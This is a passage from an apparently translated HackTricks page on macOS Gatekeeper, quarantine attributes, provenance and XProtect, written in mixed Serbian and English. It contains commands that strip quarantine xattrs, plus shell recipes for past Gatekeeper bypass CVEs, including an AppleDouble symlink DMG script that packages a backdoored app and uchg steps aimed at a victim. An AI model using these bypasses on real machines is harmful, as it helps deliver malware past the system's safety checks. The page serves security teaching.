enum qtn_flags { QTN_FLAG_DOWNLOAD = 0x0001, QTN_FLAG_SANDBOX = 0x0002, QTN_FLAG_HARD = 0x0004, QTN_FLAG_USER_APPROVED = 0x0040, };

#define qtn_proc_alloc _qtn_proc_alloc #define qtn_proc_apply_to_self _qtn_proc_apply_to_self #define qtn_proc_free _qtn_proc_free #define qtn_proc_init _qtn_proc_init #define qtn_proc_init_with_self _qtn_proc_init_with_self #define qtn_proc_set_flags _qtn_proc_set_flags #define qtn_file_alloc _qtn_file_alloc #define qtn_file_init_with_path _qtn_file_init_with_path #define qtn_file_free _qtn_file_free #define qtn_file_apply_to_path _qtn_file_apply_to_path #define qtn_file_set_flags _qtn_file_set_flags #define qtn_file_get_flags _qtn_file_get_flags #define qtn_proc_set_identifier _qtn_proc_set_identifier

typedef struct _qtn_proc *qtn_proc_t; typedef struct _qtn_file *qtn_file_t;

int qtn_proc_apply_to_self(qtn_proc_t); void qtn_proc_init(qtn_proc_t); int qtn_proc_init_with_self(qtn_proc_t); int qtn_proc_set_flags(qtn_proc_t, uint32_t flags); qtn_proc_t qtn_proc_alloc(); void qtn_proc_free(qtn_proc_t); qtn_file_t qtn_file_alloc(void); void qtn_file_free(qtn_file_t qf); int qtn_file_set_flags(qtn_file_t qf, uint32_t flags); uint32_t qtn_file_get_flags(qtn_file_t qf); int qtn_file_apply_to_path(qtn_file_t qf, const char *path); int qtn_file_init_with_path(qtn_file_t qf, const char path); int qtn_proc_set_identifier(qtn_proc_t qp, const char bundleid);

int main() {

qtn_proc_t qp = qtn_proc_alloc(); qtn_proc_set_identifier(qp, “xyz.hacktricks.qa”); qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED); qtn_proc_apply_to_self(qp); qtn_proc_free(qp);

FILE *fp; fp = fopen(“thisisquarantined.txt”, “w+”); fprintf(fp, “Hello Quarantine\n”); fclose(fp);

return 0;

}

</details>

I **uklonite** taj atribut pomoću:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine

I pronađi sve datoteke u karantinu pomoću:

find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"

Quarantine information is also stored in a central database managed by LaunchServices in ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 which allows the GUI to obtain data about the file origins. Moreover this can be overwritten by applications which might be interested in hiding its origins. Moreover, this can be done from LaunchServices APIS.

libquarantine.dylib

This library exports several functions that allow to manipulate the extended attribute fields.

The qtn_file_* APIs deal with file quarantine policies, the qtn_proc_* APIs are applied to processes (files created by the process). The unexported __qtn_syscall_quarantine* functions are the ones that applies the policies which calls mac_syscall with “Quarantine” as first argument which sends the requests to Quarantine.kext.

Quarantine.kext

The kernel extension is only available through the kernel cache on the system; however, you can download the Kernel Debug Kit from https://developer.apple.com/, which will contain a symbolicated version of the extension.

This Kext will hook via MACF several calls in order to traps all file lifecycle events: Creation, opening, renaming, hard-linkning… even setxattr to prevent it from setting the com.apple.quarantine extended attribute.

It also uses a couple of MIBs:

• security.mac.qtn.sandbox_enforce: Enforce quarantine along Sandbox
• security.mac.qtn.user_approved_exec: Querantined procs can only execute approved files

Provenance xattr (Ventura and later)

macOS 13 Ventura introduced a separate provenance mechanism which is populated the first time a quarantined app is allowed to run. Two artefacts are created:

• The com.apple.provenance xattr on the .app bundle directory (fixed-size binary value containing a primary key and flags).
• A row in the provenance_tracking table inside the ExecPolicy database at /var/db/SystemPolicyConfiguration/ExecPolicy/ storing the app’s cdhash and metadata.

Practical usage:

# Inspect provenance xattr (if present)
xattr -p com.apple.provenance /Applications/Some.app | hexdump -C

# Observe Gatekeeper/provenance events in real time
log stream --style syslog --predicate 'process == "syspolicyd"'

# Retrieve historical Gatekeeper decisions for a specific bundle
log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventMessage CONTAINS[cd] "GK scan"'

XProtect

XProtect je ugrađena anti-malware funkcija u macOS-u. XProtect proverava svaku aplikaciju kada se prvi put pokrene ili izmeni u odnosu na svoju bazu poznatog malvera i nesigurnih tipova fajlova. Kada preuzmete fajl putem određenih aplikacija, kao što su Safari, Mail ili Messages, XProtect automatski skenira fajl. Ako se poklapa sa nekim poznatim malverom u svojoj bazi, XProtect će sprečiti pokretanje fajla i upozoriti vas na pretnju.

Baza podataka XProtect-a je redovno ažurirana od strane Apple-a novim definicijama malvera, a ta ažuriranja se automatski preuzimaju i instaliraju na vaš Mac. To osigurava da je XProtect uvek ažuran sa najnovijim poznatim pretnjama.

Međutim, vredi napomenuti da XProtect nije antivirus rešenje sa punim funkcijama. On proverava samo određenu listu poznatih pretnji i ne obavlja skeniranje pri pristupu kao većina antivirus softvera.

Možete dobiti informacije o najnovijem XProtect ažuriranju pokretanjem:

system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5

XProtect se nalazi na SIP zaštićenoj lokaciji /Library/Apple/System/Library/CoreServices/XProtect.bundle i unutar bundle-a možete naći informacije koje XProtect koristi:

• XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist: Dozvoljava kodu sa tim cdhashes vrednostima da koristi legacy entitlements.
• XProtect.bundle/Contents/Resources/XProtect.meta.plist: Lista pluginova i ekstenzija kojima je zabranjeno učitavanje putem BundleID i TeamID ili koja naznačava minimalnu verziju.
• XProtect.bundle/Contents/Resources/XProtect.yara: Yara pravila za detekciju malware-a.
• XProtect.bundle/Contents/Resources/gk.db: SQLite3 baza podataka sa heševima blokiranih aplikacija i TeamIDs.

Napomena: postoji i druga App na /Library/Apple/System/Library/CoreServices/XProtect.app povezana sa XProtect koja nije uključena u Gatekeeper proces.

XProtect Remediator: Na modernim macOS sistemima, Apple isporučuje on-demand skenere (XProtect Remediator) koji se periodično pokreću preko launchd da detektuju i reše familije malware-a. Možete pratiti ove skenove u unified logs:

log show --last 2h --predicate 'subsystem == "com.apple.XProtectFramework" || category CONTAINS "XProtect"' --style syslog

Nije Gatekeeper

Caution

Imajte na umu da Gatekeeper nije pokretan svaki put kada pokrenete aplikaciju; samo AppleMobileFileIntegrity (AMFI) će verifikovati potpise izvršnog koda kada pokrenete aplikaciju koja je već bila pokrenuta i verifikovana od strane Gatekeeper-a.

Zbog toga je ranije bilo moguće pokrenuti aplikaciju da je Gatekeeper kešira, pa zatim modifikovati neizvršne fajlove aplikacije (kao što su Electron asar ili NIB fajlovi) i, ukoliko nije bilo drugih zaštita, aplikacija bi bila pokrenuta sa malicioznim dodacima.

Međutim, sada to nije moguće jer macOS sprečava menjanje fajlova unutar application bundles. Dakle, ako probate Dirty NIB attack, videćete da više nije moguće zloupotrebiti ga jer nakon što se aplikacija pokrene da bi je Gatekeeper keširao, nećete moći da izmenite bundle. I ako, na primer, promenite ime direktorijuma Contents u NotCon (kako je naznačeno u exploit-u), pa zatim pokrenete glavni binarni fajl aplikacije da ga Gatekeeper kešira, to će izazvati grešku i neće se izvršiti.

Gatekeeper Bypasses

Bilo koji način da se zaobiđe Gatekeeper (uspeti naterati korisnika da preuzme nešto i izvrši to kada bi Gatekeeper trebalo da to zabrani) smatra se ranjivošću u macOS-u. Ovo su neki CVE-ovi dodeljeni tehnikama koje su omogućavale zaobilaženje Gatekeeper-a u prošlosti:

CVE-2021-1810

Uočen je slučaj da, ako se za ekstrakciju koristi Archive Utility, fajlovi sa putanjama dužim od 886 karaktera ne dobijaju extended atribut com.apple.quarantine. Ova situacija nehotično omogućava tim fajlovima da zaobiđu Gatekeeper-ove sigurnosne provere.

Pogledajte originalni izveštaj za više informacija.

CVE-2021-30990

Kada se aplikacija kreira pomoću Automator, informacije o tome šta je potrebno da se izvrši nalaze se u application.app/Contents/document.wflow, a ne u izvršnom fajlu. Izvršni fajl je samo generički Automator binarni nazvan Automator Application Stub.

Dakle, mogli ste da napravite da application.app/Contents/MacOS/Automator\ Application\ Stub pokazuje simboličkom binarnom vezom na drugi Automator Application Stub u sistemu i on će izvršiti ono što je u document.wflow (vaš skript) bez pokretanja Gatekeeper-a jer stvarni izvršni fajl nema quarantine xattr.

Primer očekivane lokacije: /System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub

Pogledajte originalni izveštaj za više informacija.

CVE-2022-22616

U ovom bypass-u zip fajl je kreiran tako da se aplikacija počne kompresovati od application.app/Contents umesto od application.app. Dakle, quarantine attr je bio primenjen na sve fajlove iz application.app/Contents ali ne i na application.app, koji je Gatekeeper proveravao, pa je Gatekeeper bio zaobiđen jer kada je application.app pokrenut on nije imao quarantine atribut.

zip -r test.app/Contents test.zip

Check the original report for more information.

CVE-2022-32910

Iako su komponente različite, eksploatacija ove ranjivosti je veoma slična prethodnoj. U ovom slučaju će se generisati Apple Archive iz application.app/Contents tako da application.app neće dobiti quarantine attr kada se dekompresuje pomoću Archive Utility.

aa archive -d test.app/Contents -o test.app.aar

Pogledajte original report za više informacija.

CVE-2022-42821

ACL writeextattr može da se koristi da spreči bilo koga da upiše atribut u fajl:

touch /tmp/no-attr
chmod +a "everyone deny writeextattr" /tmp/no-attr
xattr -w attrname vale /tmp/no-attr
xattr: [Errno 13] Permission denied: '/tmp/no-attr'

Štaviše, AppleDouble file format kopira datoteku uključujući njene ACEs.

U source code može se videti da će se tekstualna reprezentacija ACL-a pohranjena unutar xattr-a nazvanog com.apple.acl.text postaviti kao ACL u dekompresovanoj datoteci. Dakle, ako ste kompresovali aplikaciju u zip fajl koristeći AppleDouble file format sa ACL-om koji sprečava da joj se drugi xattr-ovi upisuju… quarantine xattr nije bio postavljen u aplikaciju:

chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
python3 -m http.server
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

Pogledajte original report za više informacija.

Imajte na umu da se ovo takođe može iskoristiti pomoću AppleArchives:

mkdir app
touch app/test
chmod +a "everyone deny write,writeattr,writeextattr" app/test
aa archive -d app -o test.aar

CVE-2023-27943

Otkriveno je da Google Chrome nije postavljao atribut karantina za preuzete fajlove zbog nekih internih problema u macOS-u.

CVE-2023-27951

AppleDouble formati fajlova čuvaju atribute fajla u posebnom fajlu koji počinje sa ._, što pomaže da se atributi fajlova kopiraju na macOS mašinama. Međutim, primećeno je da nakon dekompresije AppleDouble fajla, fajlu koji počinje sa ._ nije dodeljen atribut karantina.

mkdir test
echo a > test/a
echo b > test/b
echo ._a > test/._a
aa archive -d test/ -o test.aar

# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute

Ako je moguće kreirati fajl kome nije postavljen quarantine attribute, bilo je moguće zaobići Gatekeeper. Trik je bio da napravite DMG file application koristeći AppleDouble name convention (počnite ime sa ._) i da kreirate vidljiv fajl kao sym link na ovaj skriveni fajl bez quarantine attribute.
Kada se dmg file pokrene, pošto nema quarantine attribute, on će zaobići Gatekeeper.

# Create an app bundle with the backdoor an call it app.app

echo "[+] creating disk image with app"
hdiutil create -srcfolder app.app app.dmg

echo "[+] creating directory and files"
mkdir
mkdir -p s/app
cp app.dmg s/app/._app.dmg
ln -s ._app.dmg s/app/app.dmg

echo "[+] compressing files"
aa archive -d s/ -o app.aar

[CVE-2023-41067]

A Gatekeeper bypass fixed in macOS Sonoma 14.0 allowed crafted apps to run without prompting. Details were disclosed publicly after patching and the issue was actively exploited in the wild before fix. Ensure Sonoma 14.0 or later is installed.

[CVE-2024-27853]

A Gatekeeper bypass in macOS 14.4 (released March 2024) stemming from libarchive handling of malicious ZIPs allowed apps to evade assessment. Update to 14.4 or later where Apple addressed the issue.

CVE-2024-44128

An Automator Quick Action workflow embedded in a downloaded app could trigger without Gatekeeper assessment, because workflows were treated as data and executed by the Automator helper outside the normal notarization prompt path. A crafted .app bundling a Quick Action that runs a shell script (e.g., inside Contents/PlugIns/*.workflow/Contents/document.wflow) could therefore execute immediately on launch. Apple added an extra consent dialog and fixed the assessment path in Ventura 13.7, Sonoma 14.7, and Sequoia 15.

Third‑party unarchivers mis‑propagating quarantine (2023–2024)

Several vulnerabilities in popular extraction tools (e.g., The Unarchiver) caused files extracted from archives to miss the com.apple.quarantine xattr, enabling Gatekeeper bypass opportunities. Always rely on macOS Archive Utility or patched tools when testing, and validate xattrs after extraction.

uchg (from this talk)

• Napravite direktorijum koji sadrži aplikaciju.
• Dodajte uchg na aplikaciju.
• Kompresujte aplikaciju u tar.gz fajl.
• Pošaljite tar.gz fajl žrtvi.
• Žrtva otvori tar.gz fajl i pokrene aplikaciju.
• Gatekeeper ne proverava aplikaciju.

Prevent Quarantine xattr

In an “.app” bundle if the quarantine xattr is not added to it, when executing it Gatekeeper won’t be triggered.

References

• Apple Platform Security: About the security content of macOS Sonoma 14.4 (includes CVE-2024-27853) – https://support.apple.com/en-us/HT214084
• Eclectic Light: How macOS now tracks the provenance of apps – https://eclecticlight.co/2023/05/10/how-macos-now-tracks-the-provenance-of-apps/
• Apple: About the security content of macOS Sonoma 14.7 / Ventura 13.7 (CVE-2024-44128) – https://support.apple.com/en-us/121234
• MacRumors: macOS 15 Sequoia removes the Control‑click “Open” Gatekeeper bypass – https://www.macrumors.com/2024/06/11/macos-sequoia-removes-open-anyway/

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

• Proverite planove pretplate!
• Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
• Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.